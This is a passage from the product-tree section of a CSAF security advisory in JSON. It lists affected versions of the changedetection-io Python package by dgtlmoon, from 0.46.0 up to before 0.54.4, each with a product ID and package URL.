                                    "name": "vers:unknown/0.46.0",
                                    "product_id": "CSAFPID-5723222",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.1",
                                "product": {
                                    "name": "vers:unknown/0.46.1",
                                    "product_id": "CSAFPID-5723223",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.2",
                                "product": {
                                    "name": "vers:unknown/0.46.2",
                                    "product_id": "CSAFPID-5723224",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.3",
                                "product": {
                                    "name": "vers:unknown/0.46.3",
                                    "product_id": "CSAFPID-5723225",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.4",
                                "product": {
                                    "name": "vers:unknown/0.46.4",
                                    "product_id": "CSAFPID-5723226",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.0",
                                "product": {
                                    "name": "vers:unknown/0.47.0",
                                    "product_id": "CSAFPID-5723227",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.1",
                                "product": {
                                    "name": "vers:unknown/0.47.1",
                                    "product_id": "CSAFPID-5723228",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.2",
                                "product": {
                                    "name": "vers:unknown/0.47.2",
                                    "product_id": "CSAFPID-5723229",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.3",
                                "product": {
                                    "name": "vers:unknown/0.47.3",
                                    "product_id": "CSAFPID-5723230",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.4",
                                "product": {
                                    "name": "vers:unknown/0.47.4",
                                    "product_id": "CSAFPID-5723231",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.5",
                                "product": {
                                    "name": "vers:unknown/0.47.5",
                                    "product_id": "CSAFPID-5723232",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.6",
                                "product": {
                                    "name": "vers:unknown/0.47.6",
                                    "product_id": "CSAFPID-5723233",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.0",
                                "product": {
                                    "name": "vers:unknown/0.48.0",
                                    "product_id": "CSAFPID-5723234",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.1",
                                "product": {
                                    "name": "vers:unknown/0.48.1",
                                    "product_id": "CSAFPID-5723235",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.2",
                                "product": {
                                    "name": "vers:unknown/0.48.2",
                                    "product_id": "CSAFPID-5723236",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.3",
                                "product": {
                                    "name": "vers:unknown/0.48.3",
                                    "product_id": "CSAFPID-5723237",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.4",
                                "product": {
                                    "name": "vers:unknown/0.48.4",
                                    "product_id": "CSAFPID-5723238",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.5",
                                "product": {
                                    "name": "vers:unknown/0.48.5",
                                    "product_id": "CSAFPID-5723239",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.6",
                                "product": {
                                    "name": "vers:unknown/0.48.6",
                                    "product_id": "CSAFPID-5723240",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.0",
                                "product": {
                                    "name": "vers:unknown/0.49.0",
                                    "product_id": "CSAFPID-5723241",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.1",
                                "product": {
                                    "name": "vers:unknown/0.49.1",
                                    "product_id": "CSAFPID-5723242",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.10",
                                "product": {
                                    "name": "vers:unknown/0.49.10",
                                    "product_id": "CSAFPID-5723243",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.12",
                                "product": {
                                    "name": "vers:unknown/0.49.12",
                                    "product_id": "CSAFPID-5723244",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.13",
                                "product": {
                                    "name": "vers:unknown/0.49.13",
                                    "product_id": "CSAFPID-5723245",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.14",
                                "product": {
                                    "name": "vers:unknown/0.49.14",
                                    "product_id": "CSAFPID-5723246",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.15",
                                "product": {
                                    "name": "vers:unknown/0.49.15",
                                    "product_id": "CSAFPID-5723247",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.16",
                                "product": {
                                    "name": "vers:unknown/0.49.16",
                                    "product_id": "CSAFPID-5723248",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.17",
                                "product": {
                                    "name": "vers:unknown/0.49.17",
                                    "product_id": "CSAFPID-5723249",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.18",
                                "product": {
                                    "name": "vers:unknown/0.49.18",
                                    "product_id": "CSAFPID-5723250",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.2",
                                "product": {
                                    "name": "vers:unknown/0.49.2",
                                    "product_id": "CSAFPID-5723251",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.3",
                                "product": {
                                    "name": "vers:unknown/0.49.3",
                                    "product_id": "CSAFPID-5723252",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.4",
                                "product": {
                                    "name": "vers:unknown/0.49.4",
                                    "product_id": "CSAFPID-5723253",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.5",
                                "product": {
                                    "name": "vers:unknown/0.49.5",
                                    "product_id": "CSAFPID-5723254",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.6",
                                "product": {
                                    "name": "vers:unknown/0.49.6",
                                    "product_id": "CSAFPID-5723255",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.7",
                                "product": {
                                    "name": "vers:unknown/0.49.7",
                                    "product_id": "CSAFPID-5723256",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.8",
                                "product": {
                                    "name": "vers:unknown/0.49.8",
                                    "product_id": "CSAFPID-5723257",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.9",
                                "product": {
                                    "name": "vers:unknown/0.49.9",
                                    "product_id": "CSAFPID-5723258",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.1",
                                "product": {
                                    "name": "vers:unknown/0.50.1",
                                    "product_id": "CSAFPID-5723259",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.10",
                                "product": {
                                    "name": "vers:unknown/0.50.10",
                                    "product_id": "CSAFPID-5723260",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.11",
                                "product": {
                                    "name": "vers:unknown/0.50.11",
                                    "product_id": "CSAFPID-5723261",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.12",
                                "product": {
                                    "name": "vers:unknown/0.50.12",
                                    "product_id": "CSAFPID-5723262",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.13",
                                "product": {
                                    "name": "vers:unknown/0.50.13",
                                    "product_id": "CSAFPID-5723263",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.14",
                                "product": {
                                    "name": "vers:unknown/0.50.14",
                                    "product_id": "CSAFPID-5723264",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.15",
                                "product": {
                                    "name": "vers:unknown/0.50.15",
                                    "product_id": "CSAFPID-5723265",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.16",
                                "product": {
                                    "name": "vers:unknown/0.50.16",
                                    "product_id": "CSAFPID-5723266",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.17",
                                "product": {
                                    "name": "vers:unknown/0.50.17",
                                    "product_id": "CSAFPID-5723267",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.18",
                                "product": {
                                    "name": "vers:unknown/0.50.18",
                                    "product_id": "CSAFPID-5723268",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.19",
                                "product": {
                                    "name": "vers:unknown/0.50.19",
                                    "product_id": "CSAFPID-5723269",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.2",
                                "product": {
                                    "name": "vers:unknown/0.50.2",
                                    "product_id": "CSAFPID-5723270",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.20",
                                "product": {
                                    "name": "vers:unknown/0.50.20",
                                    "product_id": "CSAFPID-5723271",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.21",
                                "product": {
                                    "name": "vers:unknown/0.50.21",
                                    "product_id": "CSAFPID-5723272",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.22",
                                "product": {
                                    "name": "vers:unknown/0.50.22",
                                    "product_id": "CSAFPID-5723273",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.23",
                                "product": {
                                    "name": "vers:unknown/0.50.23",
                                    "product_id": "CSAFPID-5723274",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.23"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.24",
                                "product": {
                                    "name": "vers:unknown/0.50.24",
                                    "product_id": "CSAFPID-5723275",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.24"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.25",
                                "product": {
                                    "name": "vers:unknown/0.50.25",
                                    "product_id": "CSAFPID-5723276",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.25"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.26",
                                "product": {
                                    "name": "vers:unknown/0.50.26",
                                    "product_id": "CSAFPID-5723277",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.26"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.27",
                                "product": {
                                    "name": "vers:unknown/0.50.27",
                                    "product_id": "CSAFPID-5723278",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.27"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.28",
                                "product": {
                                    "name": "vers:unknown/0.50.28",
                                    "product_id": "CSAFPID-5723279",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.28"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.29",
                                "product": {
                                    "name": "vers:unknown/0.50.29",
                                    "product_id": "CSAFPID-5723280",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.29"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.3",
                                "product": {
                                    "name": "vers:unknown/0.50.3",
                                    "product_id": "CSAFPID-5723281",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.30",
                                "product": {
                                    "name": "vers:unknown/0.50.30",
                                    "product_id": "CSAFPID-5723282",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.30"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.31",
                                "product": {
                                    "name": "vers:unknown/0.50.31",
                                    "product_id": "CSAFPID-5723283",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.31"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.32",
                                "product": {
                                    "name": "vers:unknown/0.50.32",
                                    "product_id": "CSAFPID-5723284",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.32"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.33",
                                "product": {
                                    "name": "vers:unknown/0.50.33",
                                    "product_id": "CSAFPID-5723285",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.33"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.34",
                                "product": {
                                    "name": "vers:unknown/0.50.34",
                                    "product_id": "CSAFPID-5723286",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.34"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.35",
                                "product": {
                                    "name": "vers:unknown/0.50.35",
                                    "product_id": "CSAFPID-5723287",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.35"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.37",
                                "product": {
                                    "name": "vers:unknown/0.50.37",
                                    "product_id": "CSAFPID-5723288",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.37"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.38",
                                "product": {
                                    "name": "vers:unknown/0.50.38",
                                    "product_id": "CSAFPID-5723289",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.38"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.39",
                                "product": {
                                    "name": "vers:unknown/0.50.39",
                                    "product_id": "CSAFPID-5723290",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.39"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.4",
                                "product": {
                                    "name": "vers:unknown/0.50.4",
                                    "product_id": "CSAFPID-5723291",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.40",
                                "product": {
                                    "name": "vers:unknown/0.50.40",
                                    "product_id": "CSAFPID-5723292",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.40"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.41",
                                "product": {
                                    "name": "vers:unknown/0.50.41",
                                    "product_id": "CSAFPID-5723294",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.41"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.42",
                                "product": {
                                    "name": "vers:unknown/0.50.42",
                                    "product_id": "CSAFPID-5723295",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.42"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.43",
                                "product": {
                                    "name": "vers:unknown/0.50.43",
                                    "product_id": "CSAFPID-5723296",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.43"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.5",
                                "product": {
                                    "name": "vers:unknown/0.50.5",
                                    "product_id": "CSAFPID-5723297",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.6",
                                "product": {
                                    "name": "vers:unknown/0.50.6",
                                    "product_id": "CSAFPID-5723298",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.7",
                                "product": {
                                    "name": "vers:unknown/0.50.7",
                                    "product_id": "CSAFPID-5723299",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.8",
                                "product": {
                                    "name": "vers:unknown/0.50.8",
                                    "product_id": "CSAFPID-5723301",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.9",
                                "product": {
                                    "name": "vers:unknown/0.50.9",
                                    "product_id": "CSAFPID-5723302",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.0",
                                "product": {
                                    "name": "vers:unknown/0.51.0",
                                    "product_id": "CSAFPID-5723303",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.1",
                                "product": {
                                    "name": "vers:unknown/0.51.1",
                                    "product_id": "CSAFPID-5723304",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.2",
                                "product": {
                                    "name": "vers:unknown/0.51.2",
                                    "product_id": "CSAFPID-5723305",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.3",
                                "product": {
                                    "name": "vers:unknown/0.51.3",
                                    "product_id": "CSAFPID-5723306",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.4",
                                "product": {
                                    "name": "vers:unknown/0.51.4",
                                    "product_id": "CSAFPID-5723307",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.1",
                                "product": {
                                    "name": "vers:unknown/0.52.1",
                                    "product_id": "CSAFPID-5723308",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.2",
                                "product": {
                                    "name": "vers:unknown/0.52.2",
                                    "product_id": "CSAFPID-5723309",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.3",
                                "product": {
                                    "name": "vers:unknown/0.52.3",
                                    "product_id": "CSAFPID-5723310",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.4",
                                "product": {
                                    "name": "vers:unknown/0.52.4",
                                    "product_id": "CSAFPID-5723311",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.5",
                                "product": {
                                    "name": "vers:unknown/0.52.5",
                                    "product_id": "CSAFPID-5723312",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.6",
                                "product": {
                                    "name": "vers:unknown/0.52.6",
                                    "product_id": "CSAFPID-5723313",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.7",
                                "product": {
                                    "name": "vers:unknown/0.52.7",
                                    "product_id": "CSAFPID-5723314",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.8",
                                "product": {
                                    "name": "vers:unknown/0.52.8",
                                    "product_id": "CSAFPID-5723315",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.9",
                                "product": {
                                    "name": "vers:unknown/0.52.9",
                                    "product_id": "CSAFPID-5723316",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.1",
                                "product": {
                                    "name": "vers:unknown/0.53.1",
                                    "product_id": "CSAFPID-5723317",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.2",
                                "product": {
                                    "name": "vers:unknown/0.53.2",
                                    "product_id": "CSAFPID-5723318",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.3",
                                "product": {
                                    "name": "vers:unknown/0.53.3",
                                    "product_id": "CSAFPID-5723319",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.4",
                                "product": {
                                    "name": "vers:unknown/0.53.4",
                                    "product_id": "CSAFPID-5723320",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.5",
                                "product": {
                                    "name": "vers:unknown/0.53.5",
                                    "product_id": "CSAFPID-5723321",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.6",
                                "product": {
                                    "name": "vers:unknown/0.53.6",
                                    "product_id": "CSAFPID-5723322",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.7",
                                "product": {
                                    "name": "vers:unknown/0.53.7",
                                    "product_id": "CSAFPID-5723327",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.54.1",
                                "product": {
                                    "name": "vers:unknown/0.54.1",
                                    "product_id": "CSAFPID-5760053",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.54.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.54.2",
                                "product": {
                                    "name": "vers:unknown/0.54.2",
                                    "product_id": "CSAFPID-5760054",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.54.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.54.3",
                                "product": {
                                    "name": "vers:unknown/0.54.3",
                                    "product_id": "CSAFPID-5760055",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.54.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<0.54.4",
                                "product": {
                                    "name": "vers:unknown/>=0|<0.54.4",
                                    "product_id": "CSAFPID-5760056"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "changedetection-io"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.54.4",
                                "product": {
                                    "name": "vers:unknown/<0.54.4",
                                    "product_id": "CSAFPID-5765479"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "changedetection.io"
                    }
                ],
                "category": "vendor",
                "name": "dgtlmoon"
            }
        ]
